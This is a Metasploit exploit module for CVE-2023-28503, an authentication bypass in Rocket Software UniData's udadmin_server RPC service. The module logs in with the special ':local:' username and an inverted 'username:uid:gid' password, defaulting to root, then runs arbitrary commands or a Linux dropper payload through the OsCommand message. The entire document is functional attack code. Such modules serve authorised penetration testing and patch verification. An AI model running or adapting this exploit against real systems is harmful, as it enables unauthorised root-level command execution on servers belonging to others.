Rocket Software Unidata udadmin_server Authentication Bypass

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::Tcp  
include Msf::Exploit::CmdStager  
include Msf::Exploit::Remote::Unirpc  
prepend Msf::Exploit::Remote::AutoCheck  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Rocket Software Unidata udadmin_server Authentication Bypass',  
'Description' => %q{  
This module exploits an authentication bypass vulnerability in the  
Linux version of udadmin_server, which is an RPC service that comes  
with the Rocket Software UniData server. This affects versions of  
UniData prior to 8.2.4 build 3003.  
  
This service typically runs as root. It accepts a username of  
":local:" and a password in the form of "<username>:<uid>:<gid>",  
where username and uid must be a valid account, but gid can be  
anything except 0.  
  
This exploit takes advantage of this login account to authenticate  
as a chosen user and run an arbitrary command (using the built-in  
OsCommand message).  
},  
'License' => MSF_LICENSE,  
'Author' => [  
'Ron Bowes', # Discovery, PoC, module  
],  
'References' => [  
[ 'URL', 'https://www.rapid7.com/blog/post/2023/03/29/multiple-vulnerabilities-in-rocket-software-unirpc-server-fixed' ],  
[ 'CVE', '2023-28503' ],  
],  
'Platform' => ['linux', 'unix'],  
'Arch' => [ARCH_X86, ARCH_X64, ARCH_CMD],  
'Targets' => [  
[  
'Unix Command',  
{  
'Platform' => 'unix',  
'Arch' => ARCH_CMD,  
'Type' => :unix_cmd  
}  
],  
[  
'Linux Dropper',  
{  
'Platform' => 'linux',  
'Arch' => [ARCH_X86, ARCH_X64],  
'Type' => :linux_dropper  
}  
]  
],  
'DefaultTarget' => 0,  
'DefaultOptions' => {  
'RPORT' => 31438,  
'PrependFork' => true  
},  
'Privileged' => true,  
'DisclosureDate' => '2023-03-30',  
'Notes' => {  
'SideEffects' => [],  
'Reliability' => [REPEATABLE_SESSION],  
'Stability' => [CRASH_SAFE]  
}  
)  
)  
  
register_options(  
[  
OptString.new('UNIRPC_USERNAME', [ true, 'Linux username to authenticate with (must match the uid)', 'root']),  
OptInt.new('UNIRPC_UID', [ true, 'Linux uid to authenticate with (must correspond to the username)', 0]),  
OptInt.new('UNIRPC_GID', [ true, 'gid to authenticate with (must not be 0, does not need to correspond to the username)', 1000]),  
]  
)  
  
register_advanced_options(  
[  
OptString.new('UNIRPC_ENDPOINT', [ true, 'The UniRPC service to request', 'udadmin']),  
]  
)  
end  
  
# We can detect UniRPC by performing a version check, but the version number  
# didn't increment in the patch (only the build number did, which AFAICT we  
# can't access), so just do a sanity check  
def check  
version = unirpc_get_version  
vprint_status("Detected UniRPC version #{version} is running")  
  
Exploit::CheckCode::Detected  
rescue UniRPCCommunicationError => e  
return CheckCode::Safe("Could not communicate with the UniRPC server: #{e}")  
rescue UniRPCUnexpectedResponseError => e  
return CheckCode::Safe("UniRPC server returned something unexpected: #{e}")  
end  
  
def execute_command(cmd, _opts = {})  
vprint_status('Sending OsCommand request')  
sock.put(build_unirpc_message(args: [  
# Message type  
{ type: :integer, value: UNIRPC_MESSAGE_OSCOMMAND },  
{ type: :string, value: cmd },  
]))  
end  
  
def exploit  
# Sanity check  
if datastore['UNIRPC_GID'] == 0  
fail_with(Failure::BadConfig, 'UNIRPC_GID cannot be 0')  
end  
  
# Connect to the service  
connect  
  
# Connect to the RPC service (probably "udadmin")  
vprint_status("Connecting to UniRPC endpoint #{datastore['UNIRPC_ENDPOINT']}")  
sock.put(build_unirpc_message(args: [  
# Service name  
{ type: :string, value: datastore['UNIRPC_ENDPOINT'] },  
  
# "Secure" flag - this must be non-zero if the server is started in  
# "secure" mode (-s)  
{ type: :integer, value: 1 },  
]))  
  
# This will throw an error if the login fails, otherwise we can discard the  
# result  
recv_unirpc_message(sock, first_result_is_status: true)  
  
# Prepare the authentication bypass  
username = ':local:'  
password = "#{datastore['UNIRPC_USERNAME']}:#{datastore['UNIRPC_UID']}:#{datastore['UNIRPC_GID']}"  
vprint_status("Authenticating to RPC service as #{username} / #{password}")  
  
# Send the authentication message  
sock.put(build_unirpc_message(args: [  
# Message type  
{ type: :integer, value: UNIRPC_MESSAGE_LOGIN },  
  
# Username  
# ":local:" is a special value that skips login  
{ type: :string, value: username },  
  
# Password (encoded by making each byte negative)  
# I think if username is :local:, this is username:uid:gid (gid can't be 0)  
{ type: :string, value: password.bytes.map { |b| (0x0FF & (~b)).chr }.join },  
]))  
  
# Once again, we only care if this fails - if the status is an error  
recv_unirpc_message(sock, first_result_is_status: true)  
  
# Run the command(s)  
case target['Type']  
when :unix_cmd  
execute_command(payload.encoded)  
when :linux_dropper  
execute_cmdstager  
end  
rescue UniRPCCommunicationError => e  
fail_with(Failure::Unreachable, "Could not communicate with the UniRPC server: #{e}")  
rescue UniRPCUnexpectedResponseError => e  
fail_with(Failure::UnexpectedReply, "UniRPC server returned something unexpected: #{e}")  
end  
end  
`